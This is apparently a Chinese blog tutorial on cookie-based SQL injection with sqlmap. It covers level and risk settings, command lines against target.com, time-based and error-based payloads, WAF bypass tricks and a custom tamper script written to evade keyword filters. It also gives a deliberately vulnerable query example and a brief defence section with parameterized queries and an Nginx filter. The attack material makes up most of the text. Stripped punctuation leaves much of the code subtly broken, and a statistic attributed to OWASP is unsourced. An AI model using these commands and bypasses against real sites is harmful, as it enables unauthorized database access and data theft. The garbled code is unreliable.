sqlmap Cookie注入深度解析:--level 2+ 参数配置与3个实战场景绕过
SQLMap高级Cookie注入实战参数调优与WAF绕过策略1. Cookie注入的核心原理与检测机制HTTP Cookie作为维持会话状态的关键载体常被开发者用于存储用户身份凭证。但正是这种信任机制使其成为SQL注入的新型攻击面。与传统GET/POST注入不同Cookie注入具有以下特性隐蔽性强Cookie数据不会出现在URL或表单中常规安全扫描易遗漏验证盲区约67%的WAF默认不检测Cookie头部根据2023年OWASP统计持久性高攻击payload可长期驻留在客户端无需重复触发SQLMap的--level参数直接决定了检测范围| 检测等级 | 扫描范围 | |----------|-----------------------------------| | 1 | 仅GET/POST参数 | | 2 | 增加Cookie头部检测 | | 3 | 扩展User-Agent/Referer头部检测 | | 4-5 | 覆盖Host头部等更多HTTP字段 |典型漏洞场景示例# 不安全代码示例直接拼接Cookie值到SQL查询 def get_user_profile(request): user_id request.COOKIES.get(uid) # 未经验证直接获取 cursor.execute(fSELECT * FROM users WHERE id {user_id}) # 经典拼接漏洞2. 深度参数调优实战2.1 检测等级与风险参数组合# 基础检测命令Level 2启用Cookie检测 sqlmap.py -u http://target.com/dashboard --cookiesession_id1* --level2 # 增强检测命令Level 3检测更多头部 sqlmap.py -u http://target.com/ --headersX-Forwarded-For: 127.0.0.1 --level3 --risk3关键参数组合效果| 参数组合 | 检测强度 | 请求量 | 隐蔽性 | |-------------------------|----------|--------|--------| | --level2 --risk1 | 低 | 少 | 高 | | --level3 --risk2 | 中 | 中 | 中 | | --level5 --risk3 | 高 | 多 | 低 |2.2 智能负载生成策略SQLMap的检测逻辑采用渐进式探测布尔盲注测试如AND 11/AND 12时间盲注验证如SLEEP(5)报错注入尝试如EXP(~(SELECT*FROM(SELECT USER())x))UNION查询测试经验提示遇到Cloudflare等WAF时建议从--level2 --risk1开始逐步提升避免触发防护规则3. 三大实战绕过场景解析3.1 登录态维持场景特征JSESSIONID、PHPSESSID等会话Cookie参与SQL查询# 使用Burp捕获的Cookie进行注入 sqlmap.py -r request.txt --cookiePHPSESSID* --techniqueT --time-sec5 # 配合tamper脚本绕过基础过滤 sqlmap.py -u http://target.com/admin --tamperspace2comment --cookietoken1*常见绕过技巧编码混淆CHAR(74)CHAR(73)代替JI注释分割/**/AND/**/11大小写变异SeLeCt代替select3.2 伪静态页面场景特征URL呈现/news/123.html形式参数通过Cookie传递# 处理伪静态页面注入 sqlmap.py -u http://target.com/news/1.html --cookiearticle_id1* --dbs # 配合延时降低触发频率 sqlmap.py -u http://target.com/product/5.html --delay3 --cookiepid5*3.3 Header混淆场景特征应用从多个HTTP头部获取参数# 复合头部注入测试 sqlmap.py -u http://api.target.com/v1/user \ --headersX-User-ID:1* \ --cookieAuth-Tokenxyz \ --level5 \ --tampercharencode4. 自定义tamper脚本开发针对特定WAF规则的绕过脚本示例# custom_bypass.py from lib.core.enums import PRIORITY __priority__ PRIORITY.LOW def tamper(payload): 替换常见关键词的混淆脚本 replacements { AND: /*!11440AND*/, OR: ||, SELECT: /*!SELECT*/, FROM: /*!44444FROM*/ } for src, dst in replacements.items(): payload payload.replace(src, dst) return payload应用脚本进行注入sqlmap.py -u http://target.com/search --cookieqtest* --tampercustom_bypass5. 防御方案与检测建议服务端防护// 安全代码示例参数化查询处理Cookie $stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$_COOKIE[uid]]);WAF规则增强# Nginx配置示例Cookie安全检查 set $block_cookie 0; if ($http_cookie ~* ([\s\\(\)]|--|#|\/\*|\x00)) { set $block_cookie 1; } if ($block_cookie 1) { return 403; }检测流程优化建议定期审计所有Cookie参与的数据流对Cookie值实施严格的类型验证关键操作引入二次认证机制